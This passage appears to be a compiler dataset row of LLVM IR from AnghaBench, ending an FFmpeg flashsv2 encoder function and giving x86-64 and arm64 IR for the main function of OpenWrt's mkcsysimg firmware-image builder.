%96 = icmp eq i32 %83, 0
br i1 %96, label %97, label %127
97: ; preds = %90
%98 = load i32, ptr %5, align 4, !tbaa !13
br label %99
99: ; preds = %97, %53
%100 = phi i32 [ %98, %97 ], [ %30, %53 ]
%101 = add nuw nsw i32 %32, 1
%102 = icmp slt i32 %101, %100
br i1 %102, label %29, label %103, !llvm.loop !33
103: ; preds = %99
%104 = load i32, ptr %0, align 8, !tbaa !6
br label %105
105: ; preds = %103, %23
%106 = phi i32 [ %104, %103 ], [ %24, %23 ]
%107 = phi i32 [ %100, %103 ], [ %25, %23 ]
%108 = phi i32 [ %100, %103 ], [ %26, %23 ]
%109 = add nuw nsw i32 %27, 1
%110 = icmp slt i32 %109, %106
br i1 %110, label %23, label %111, !llvm.loop !35
111: ; preds = %105, %6
%112 = phi i32 [ %7, %6 ], [ %107, %105 ]
%113 = phi i32 [ %3, %6 ], [ %106, %105 ]
%114 = getelementptr inbounds i8, ptr %0, i64 8
%115 = load i32, ptr %114, align 8, !tbaa !26
%116 = getelementptr inbounds i8, ptr %0, i64 24
%117 = load i32, ptr %116, align 8, !tbaa !36
%118 = mul i32 %115, 3
%119 = mul i32 %118, %117
%120 = getelementptr inbounds i8, ptr %0, i64 20
%121 = load i32, ptr %120, align 4, !tbaa !37
%122 = add nsw i32 %121, %119
store i32 %122, ptr %120, align 4, !tbaa !37
%123 = mul nsw i32 %112, %113
%124 = getelementptr inbounds i8, ptr %0, i64 28
%125 = load i32, ptr %124, align 4, !tbaa !38
%126 = add nsw i32 %125, %123
store i32 %126, ptr %124, align 4, !tbaa !38
br label %127
127: ; preds = %90, %111
%128 = phi i32 [ 0, %111 ], [ %83, %90 ]
ret i32 %128
}
declare i32 @encode_block(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_7__", !8, i64 0, !8, i64 4, !8, i64 8, !8, i64 12, !8, i64 16, !8, i64 20, !8, i64 24, !8, i64 28, !8, i64 32, !8, i64 36, !8, i64 40, !8, i64 44, !8, i64 48, !8, i64 52, !11, i64 56, !12, i64 64, !11, i64 72, !11, i64 80}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!"long", !9, i64 0}
!13 = !{!7, !8, i64 4}
!14 = !{!7, !11, i64 80}
!15 = !{!7, !11, i64 72}
!16 = !{!7, !12, i64 64}
!17 = !{!18, !8, i64 48}
!18 = !{!"TYPE_8__", !12, i64 0, !12, i64 8, !12, i64 16, !12, i64 24, !12, i64 32, !12, i64 40, !8, i64 48}
!19 = !{!18, !12, i64 0}
!20 = !{!18, !12, i64 16}
!21 = !{!18, !12, i64 8}
!22 = !{!18, !12, i64 40}
!23 = !{!18, !12, i64 32}
!24 = !{!8, !8, i64 0}
!25 = !{!7, !11, i64 56}
!26 = !{!7, !8, i64 8}
!27 = !{!7, !8, i64 12}
!28 = !{!7, !8, i64 16}
!29 = !{!7, !8, i64 48}
!30 = !{!7, !8, i64 44}
!31 = !{!7, !8, i64 40}
!32 = !{!12, !12, i64 0}
!33 = distinct !{!33, !34}
!34 = !{!"llvm.loop.mustprogress"}
!35 = distinct !{!35, !34}
!36 = !{!7, !8, i64 24}
!37 = !{!7, !8, i64 20}
!38 = !{!7, !8, i64 28}
| FFmpeg_libavcodec_extr_flashsv2enc.c_encode_all_blocks |
; ModuleID = 'AnghaBench/openwrt/tools/firmware-utils/src/extr_mkcsysimg.c_main.c'
source_filename = "AnghaBench/openwrt/tools/firmware-utils/src/extr_mkcsysimg.c_main.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@ERR_FATAL = dso_local local_unnamed_addr global i32 0, align 4
@progname = dso_local local_unnamed_addr global i32 0, align 4
@opterr = dso_local local_unnamed_addr global i64 0, align 8
@.str = private unnamed_addr constant [17 x i8] c"b:B:c:dhkr:vw:x:\00", align 1
@optarg = dso_local local_unnamed_addr global ptr null, align 8
@optind = dso_local local_unnamed_addr global i32 0, align 4
@invalid_causes_error = dso_local local_unnamed_addr global i64 0, align 8
@keep_invalid_images = dso_local local_unnamed_addr global i64 0, align 8
@verblevel = dso_local local_unnamed_addr global i32 0, align 4
@EXIT_SUCCESS = dso_local local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [20 x i8] c"invalid option: -%c\00", align 1
@optopt = dso_local local_unnamed_addr global ptr null, align 8
@board = dso_local local_unnamed_addr global ptr null, align 8
@.str.2 = private unnamed_addr constant [19 x i8] c"no board specified\00", align 1
@.str.3 = private unnamed_addr constant [25 x i8] c"no output file specified\00", align 1
@ofname = dso_local local_unnamed_addr global ptr null, align 8
@.str.4 = private unnamed_addr constant [19 x i8] c"invalid option: %s\00", align 1
@ERR_INVALID_IMAGE = dso_local local_unnamed_addr global i32 0, align 4
@.str.5 = private unnamed_addr constant [43 x i8] c"generation of invalid images \22%s\22 disabled\00", align 1
@.str.6 = private unnamed_addr constant [31 x i8] c"generating invalid image: \22%s\22\00", align 1
@.str.7 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.8 = private unnamed_addr constant [32 x i8] c"could not open \22%s\22 for writing\00", align 1
@.str.9 = private unnamed_addr constant [25 x i8] c"Image file %s completed.\00", align 1
@EXIT_FAILURE = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = load i32, ptr @ERR_FATAL, align 4, !tbaa !5
%4 = load ptr, ptr %1, align 8, !tbaa !9
%5 = tail call i32 @basename(ptr noundef %4) #3
store i32 %5, ptr @progname, align 4, !tbaa !5
store i64 0, ptr @opterr, align 8, !tbaa !11
br label %6
6: ; preds = %34, %2
%7 = tail call i32 @getopt(i32 noundef %0, ptr noundef nonnull %1, ptr noundef nonnull @.str) #3
switch i32 %7, label %37 [
i32 -1, label %40
i32 98, label %8
i32 99, label %8
i32 114, label %8
i32 120, label %8
i32 119, label %11
i32 100, label %23
i32 107, label %24
i32 66, label %25
i32 118, label %28
i32 104, label %31
]
8: ; preds = %6, %6, %6, %6
%9 = load ptr, ptr @optarg, align 8, !tbaa !9
%10 = tail call i32 @parse_opt_block(i32 noundef %7, ptr noundef %9) #3
br label %34
11: ; preds = %6
%12 = load ptr, ptr @optarg, align 8, !tbaa !9
%13 = icmp eq ptr %12, null
br i1 %13, label %20, label %14
14: ; preds = %11
%15 = load i8, ptr %12, align 1, !tbaa !13
%16 = icmp eq i8 %15, 45
br i1 %16, label %17, label %20
17: ; preds = %14
%18 = load i32, ptr @optind, align 4, !tbaa !5
%19 = add nsw i32 %18, -1
store i32 %19, ptr @optind, align 4, !tbaa !5
store ptr null, ptr @optarg, align 8, !tbaa !9
br label %20
20: ; preds = %17, %14, %11
%21 = phi ptr [ null, %17 ], [ %12, %14 ], [ null, %11 ]
%22 = tail call i32 @parse_opt_block(i32 noundef 119, ptr noundef %21) #3
br label %34
23: ; preds = %6
store i64 0, ptr @invalid_causes_error, align 8, !tbaa !11
br label %34
24: ; preds = %6
store i64 1, ptr @keep_invalid_images, align 8, !tbaa !11
br label %34
25: ; preds = %6
%26 = load ptr, ptr @optarg, align 8, !tbaa !9
%27 = tail call i32 @parse_opt_board(i32 noundef 66, ptr noundef %26) #3
br label %34
28: ; preds = %6
%29 = load i32, ptr @verblevel, align 4, !tbaa !5
%30 = add nsw i32 %29, 1
store i32 %30, ptr @verblevel, align 4, !tbaa !5
br label %34
31: ; preds = %6
%32 = load i32, ptr @EXIT_SUCCESS, align 4, !tbaa !5
%33 = tail call i32 @usage(i32 noundef %32) #3
br label %34
34: ; preds = %31, %28, %25, %24, %23, %20, %8
%35 = phi i32 [ 0, %31 ], [ 0, %28 ], [ %27, %25 ], [ 0, %24 ], [ 0, %23 ], [ %22, %20 ], [ %10, %8 ]
%36 = icmp eq i32 %35, 0
br i1 %36, label %6, label %37
37: ; preds = %6, %34
%38 = load ptr, ptr @optopt, align 8, !tbaa !9
%39 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.1, ptr noundef %38) #3
br label %105
40: ; preds = %6
%41 = load ptr, ptr @board, align 8, !tbaa !9
%42 = icmp eq ptr %41, null
br i1 %42, label %43, label %45
43: ; preds = %40
%44 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.2) #3
br label %105
45: ; preds = %40
%46 = load i32, ptr @optind, align 4, !tbaa !5
%47 = icmp eq i32 %46, %0
br i1 %47, label %48, label %50
48: ; preds = %45
%49 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.3) #3
br label %105
50: ; preds = %45
%51 = add nsw i32 %46, 1
store i32 %51, ptr @optind, align 4, !tbaa !5
%52 = sext i32 %46 to i64
%53 = getelementptr inbounds ptr, ptr %1, i64 %52
%54 = load ptr, ptr %53, align 8, !tbaa !9
store ptr %54, ptr @ofname, align 8, !tbaa !9
%55 = icmp slt i32 %51, %0
br i1 %55, label %56, label %61
56: ; preds = %50
%57 = sext i32 %51 to i64
%58 = getelementptr inbounds ptr, ptr %1, i64 %57
%59 = load ptr, ptr %58, align 8, !tbaa !9
%60 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.4, ptr noundef %59) #3
br label %105
61: ; preds = %50
%62 = tail call i32 (...) @process_blocks() #3
%63 = load i32, ptr @ERR_FATAL, align 4, !tbaa !5
%64 = icmp eq i32 %62, %63
br i1 %64, label %105, label %65
65: ; preds = %61
%66 = load i32, ptr @ERR_INVALID_IMAGE, align 4, !tbaa !5
%67 = icmp eq i32 %62, %66
br i1 %67, label %68, label %79
68: ; preds = %65
%69 = load i64, ptr @invalid_causes_error, align 8, !tbaa !11
%70 = icmp eq i64 %69, 0
%71 = select i1 %70, i32 %62, i32 %63
%72 = load i64, ptr @keep_invalid_images, align 8, !tbaa !11
%73 = icmp eq i64 %72, 0
%74 = load ptr, ptr @ofname, align 8, !tbaa !9
br i1 %73, label %75, label %77
75: ; preds = %68
%76 = tail call i32 @WARN(ptr noundef nonnull @.str.5, ptr noundef %74) #3
br label %105
77: ; preds = %68
%78 = tail call i32 @WARN(ptr noundef nonnull @.str.6, ptr noundef %74) #3
br label %79
79: ; preds = %77, %65
%80 = phi i32 [ %71, %77 ], [ %62, %65 ]
%81 = load ptr, ptr @ofname, align 8, !tbaa !9
%82 = tail call ptr @fopen(ptr noundef %81, ptr noundef nonnull @.str.7)
%83 = icmp eq ptr %82, null
br i1 %83, label %84, label %88
84: ; preds = %79
%85 = load ptr, ptr @ofname, align 8, !tbaa !9
%86 = tail call i32 @ERRS(ptr noundef nonnull @.str.8, ptr noundef %85) #3
%87 = load i32, ptr @ERR_FATAL, align 4, !tbaa !5
br label %105
88: ; preds = %79
%89 = tail call i64 @write_out_blocks(ptr noundef nonnull %82) #3
%90 = icmp eq i64 %89, 0
br i1 %90, label %93, label %91
91: ; preds = %88
%92 = load i32, ptr @ERR_FATAL, align 4, !tbaa !5
br label %96
93: ; preds = %88
%94 = load ptr, ptr @ofname, align 8, !tbaa !9
%95 = tail call i32 @DBG(i32 noundef 1, ptr noundef nonnull @.str.9, ptr noundef %94) #3
br label %96
96: ; preds = %93, %91
%97 = phi i32 [ %92, %91 ], [ %80, %93 ]
%98 = tail call i32 @fflush(ptr noundef nonnull %82)
%99 = tail call i32 @fclose(ptr noundef nonnull %82)
%100 = load i32, ptr @ERR_FATAL, align 4, !tbaa !5
%101 = icmp eq i32 %97, %100
br i1 %101, label %102, label %105
102: ; preds = %96
%103 = load ptr, ptr @ofname, align 8, !tbaa !9
%104 = tail call i32 @unlink(ptr noundef %103)
br label %105
105: ; preds = %96, %102, %61, %84, %75, %56, %48, %43, %37
%106 = phi i32 [ %3, %43 ], [ %3, %48 ], [ %3, %56 ], [ %62, %61 ], [ %71, %75 ], [ %87, %84 ], [ %97, %102 ], [ %97, %96 ], [ %3, %37 ]
%107 = load i32, ptr @ERR_FATAL, align 4, !tbaa !5
%108 = icmp eq i32 %106, %107
%109 = load i32, ptr @EXIT_FAILURE, align 4
%110 = load i32, ptr @EXIT_SUCCESS, align 4
%111 = select i1 %108, i32 %109, i32 %110
ret i32 %111
}
declare i32 @basename(ptr noundef) local_unnamed_addr #1
declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @parse_opt_block(i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @parse_opt_board(i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @usage(i32 noundef) local_unnamed_addr #1
declare i32 @ERR(ptr noundef, ...) local_unnamed_addr #1
declare i32 @process_blocks(...) local_unnamed_addr #1
declare i32 @WARN(ptr noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noalias noundef ptr @fopen(ptr nocapture noundef readonly, ptr nocapture noundef readonly) local_unnamed_addr #2
declare i32 @ERRS(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i64 @write_out_blocks(ptr noundef) local_unnamed_addr #1
declare i32 @DBG(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noundef i32 @fflush(ptr nocapture noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @fclose(ptr nocapture noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @unlink(ptr nocapture noundef readonly) local_unnamed_addr #2
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nofree nounwind "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"any pointer", !7, i64 0}
!11 = !{!12, !12, i64 0}
!12 = !{!"long", !7, i64 0}
!13 = !{!7, !7, i64 0}
| ; ModuleID = 'AnghaBench/openwrt/tools/firmware-utils/src/extr_mkcsysimg.c_main.c'
source_filename = "AnghaBench/openwrt/tools/firmware-utils/src/extr_mkcsysimg.c_main.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@ERR_FATAL = common local_unnamed_addr global i32 0, align 4
@progname = common local_unnamed_addr global i32 0, align 4
@opterr = common local_unnamed_addr global i64 0, align 8
@.str = private unnamed_addr constant [17 x i8] c"b:B:c:dhkr:vw:x:\00", align 1
@optarg = common local_unnamed_addr global ptr null, align 8
@optind = common local_unnamed_addr global i32 0, align 4
@invalid_causes_error = common local_unnamed_addr global i64 0, align 8
@keep_invalid_images = common local_unnamed_addr global i64 0, align 8
@verblevel = common local_unnamed_addr global i32 0, align 4
@EXIT_SUCCESS = common local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [20 x i8] c"invalid option: -%c\00", align 1
@optopt = common local_unnamed_addr global ptr null, align 8
@board = common local_unnamed_addr global ptr null, align 8
@.str.2 = private unnamed_addr constant [19 x i8] c"no board specified\00", align 1
@.str.3 = private unnamed_addr constant [25 x i8] c"no output file specified\00", align 1
@ofname = common local_unnamed_addr global ptr null, align 8
@.str.4 = private unnamed_addr constant [19 x i8] c"invalid option: %s\00", align 1
@ERR_INVALID_IMAGE = common local_unnamed_addr global i32 0, align 4
@.str.5 = private unnamed_addr constant [43 x i8] c"generation of invalid images \22%s\22 disabled\00", align 1
@.str.6 = private unnamed_addr constant [31 x i8] c"generating invalid image: \22%s\22\00", align 1
@.str.7 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.8 = private unnamed_addr constant [32 x i8] c"could not open \22%s\22 for writing\00", align 1
@.str.9 = private unnamed_addr constant [25 x i8] c"Image file %s completed.\00", align 1
@EXIT_FAILURE = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define i32 @main(i32 noundef %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = load i32, ptr @ERR_FATAL, align 4, !tbaa !6
%4 = load ptr, ptr %1, align 8, !tbaa !10
%5 = tail call i32 @basename(ptr noundef %4) #3
store i32 %5, ptr @progname, align 4, !tbaa !6
store i64 0, ptr @opterr, align 8, !tbaa !12
br label %6
6: ; preds = %34, %2
%7 = tail call i32 @getopt(i32 noundef %0, ptr noundef nonnull %1, ptr noundef nonnull @.str) #3
switch i32 %7, label %37 [
i32 -1, label %40
i32 98, label %8
i32 99, label %8
i32 114, label %8
i32 120, label %8
i32 119, label %11
i32 100, label %23
i32 107, label %24
i32 66, label %25
i32 118, label %28
i32 104, label %31
]
8: ; preds = %6, %6, %6, %6
%9 = load ptr, ptr @optarg, align 8, !tbaa !10
%10 = tail call i32 @parse_opt_block(i32 noundef %7, ptr noundef %9) #3
br label %34
11: ; preds = %6
%12 = load ptr, ptr @optarg, align 8, !tbaa !10
%13 = icmp eq ptr %12, null
br i1 %13, label %20, label %14
14: ; preds = %11
%15 = load i8, ptr %12, align 1, !tbaa !14
%16 = icmp eq i8 %15, 45
br i1 %16, label %17, label %20
17: ; preds = %14
%18 = load i32, ptr @optind, align 4, !tbaa !6
%19 = add nsw i32 %18, -1
store i32 %19, ptr @optind, align 4, !tbaa !6
store ptr null, ptr @optarg, align 8, !tbaa !10
br label %20
20: ; preds = %17, %14, %11
%21 = phi ptr [ null, %17 ], [ %12, %14 ], [ null, %11 ]
%22 = tail call i32 @parse_opt_block(i32 noundef 119, ptr noundef %21) #3
br label %34
23: ; preds = %6
store i64 0, ptr @invalid_causes_error, align 8, !tbaa !12
br label %34
24: ; preds = %6
store i64 1, ptr @keep_invalid_images, align 8, !tbaa !12
br label %34
25: ; preds = %6
%26 = load ptr, ptr @optarg, align 8, !tbaa !10
%27 = tail call i32 @parse_opt_board(i32 noundef 66, ptr noundef %26) #3
br label %34
28: ; preds = %6
%29 = load i32, ptr @verblevel, align 4, !tbaa !6
%30 = add nsw i32 %29, 1
store i32 %30, ptr @verblevel, align 4, !tbaa !6
br label %34
31: ; preds = %6
%32 = load i32, ptr @EXIT_SUCCESS, align 4, !tbaa !6
%33 = tail call i32 @usage(i32 noundef %32) #3
br label %34
34: ; preds = %31, %28, %25, %24, %23, %20, %8
%35 = phi i32 [ 0, %31 ], [ 0, %28 ], [ %27, %25 ], [ 0, %24 ], [ 0, %23 ], [ %22, %20 ], [ %10, %8 ]
%36 = icmp eq i32 %35, 0
br i1 %36, label %6, label %37
37: ; preds = %6, %34
%38 = load ptr, ptr @optopt, align 8, !tbaa !10
%39 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.1, ptr noundef %38) #3
br label %105
40: ; preds = %6
%41 = load ptr, ptr @board, align 8, !tbaa !10
%42 = icmp eq ptr %41, null
br i1 %42, label %43, label %45
43: ; preds = %40
%44 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.2) #3
br label %105
45: ; preds = %40
%46 = load i32, ptr @optind, align 4, !tbaa !6
%47 = icmp eq i32 %46, %0
br i1 %47, label %48, label %50
48: ; preds = %45
%49 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.3) #3
br label %105
50: ; preds = %45
%51 = add nsw i32 %46, 1
store i32 %51, ptr @optind, align 4, !tbaa !6
%52 = sext i32 %46 to i64
%53 = getelementptr inbounds ptr, ptr %1, i64 %52
%54 = load ptr, ptr %53, align 8, !tbaa !10
store ptr %54, ptr @ofname, align 8, !tbaa !10
%55 = icmp slt i32 %51, %0
br i1 %55, label %56, label %61
56: ; preds = %50
%57 = sext i32 %51 to i64
%58 = getelementptr inbounds ptr, ptr %1, i64 %57
%59 = load ptr, ptr %58, align 8, !tbaa !10
%60 = tail call i32 (ptr, ...) @ERR(ptr noundef nonnull @.str.4, ptr noundef %59) #3
br label %105
61: ; preds = %50
%62 = tail call i32 @process_blocks() #3
%63 = load i32, ptr @ERR_FATAL, align 4, !tbaa !6
%64 = icmp eq i32 %62, %63
br i1 %64, label %105, label %65
65: ; preds = %61
%66 = load i32, ptr @ERR_INVALID_IMAGE, align 4, !tbaa !6
%67 = icmp eq i32 %62, %66
br i1 %67, label %68, label %79
68: ; preds = %65
%69 = load i64, ptr @invalid_causes_error, align 8, !tbaa !12
%70 = icmp eq i64 %69, 0
%71 = select i1 %70, i32 %62, i32 %63
%72 = load i64, ptr @keep_invalid_images, align 8, !tbaa !12
%73 = icmp eq i64 %72, 0
%74 = load ptr, ptr @ofname, align 8, !tbaa !10
br i1 %73, label %75, label %77
75: ; preds = %68
%76 = tail call i32 @WARN(ptr noundef nonnull @.str.5, ptr noundef %74) #3
br label %105
77: ; preds = %68
%78 = tail call i32 @WARN(ptr noundef nonnull @.str.6, ptr noundef %74) #3
br label %79
79: ; preds = %77, %65
%80 = phi i32 [ %71, %77 ], [ %62, %65 ]
%81 = load ptr, ptr @ofname, align 8, !tbaa !10
%82 = tail call ptr @fopen(ptr noundef %81, ptr noundef nonnull @.str.7)
%83 = icmp eq ptr %82, null
br i1 %83, label %84, label %88
84: ; preds = %79
%85 = load ptr, ptr @ofname, align 8, !tbaa !10
%86 = tail call i32 @ERRS(ptr noundef nonnull @.str.8, ptr noundef %85) #3
%87 = load i32, ptr @ERR_FATAL, align 4, !tbaa !6
br label %105
88: ; preds = %79
%89 = tail call i64 @write_out_blocks(ptr noundef nonnull %82) #3
%90 = icmp eq i64 %89, 0
br i1 %90, label %93, label %91
91: ; preds = %88
%92 = load i32, ptr @ERR_FATAL, align 4, !tbaa !6
br label %96
93: ; preds = %88
%94 = load ptr, ptr @ofname, align 8, !tbaa !10
%95 = tail call i32 @DBG(i32 noundef 1, ptr noundef nonnull @.str.9, ptr noundef %94) #3
br label %96
96: ; preds = %93, %91
%97 = phi i32 [ %92, %91 ], [ %80, %93 ]
%98 = tail call i32 @fflush(ptr noundef nonnull %82)
%99 = tail call i32 @fclose(ptr noundef nonnull %82)
%100 = load i32, ptr @ERR_FATAL, align 4, !tbaa !6
%101 = icmp eq i32 %97, %100
br i1 %101, label %102, label %105
102: ; preds = %96
%103 = load ptr, ptr @ofname, align 8, !tbaa !10
%104 = tail call i32 @unlink(ptr noundef %103)
br label %105
105: ; preds = %96, %102, %61, %84, %75, %56, %48, %43, %37
%106 = phi i32 [ %3, %43 ], [ %3, %48 ], [ %3, %56 ], [ %62, %61 ], [ %71, %75 ], [ %87, %84 ], [ %97, %102 ], [ %97, %96 ], [ %3, %37 ]
%107 = load i32, ptr @ERR_FATAL, align 4, !tbaa !6
%108 = icmp eq i32 %106, %107
%109 = load i32, ptr @EXIT_FAILURE, align 4
%110 = load i32, ptr @EXIT_SUCCESS, align 4
%111 = select i1 %108, i32 %109, i32 %110
ret i32 %111
}
declare i32 @basename(ptr noundef) local_unnamed_addr #1
declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @parse_opt_block(i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @parse_opt_board(i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @usage(i32 noundef) local_unnamed_addr #1
declare i32 @ERR(ptr noundef, ...) local_unnamed_addr #1
declare i32 @process_blocks(...) local_unnamed_addr #1
declare i32 @WARN(ptr noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noalias noundef ptr @fopen(ptr nocapture noundef readonly, ptr nocapture noundef readonly) local_unnamed_addr #2
declare i32 @ERRS(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i64 @write_out_blocks(ptr noundef) local_unnamed_addr #1
declare i32 @DBG(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noundef i32 @fflush(ptr nocapture noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @fclose(ptr nocapture noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @unlink(ptr nocapture noundef readonly) local_unnamed_addr #2
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nofree nounwind "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"any pointer", !8, i64 0}
!12 = !{!13, !13, i64 0}
!13 = !{!"long", !8, i64 0}
!14 = !{!8, !8, i64 0}
| openwrt_tools_firmware-utils_src_extr_mkcsysimg.c_main |
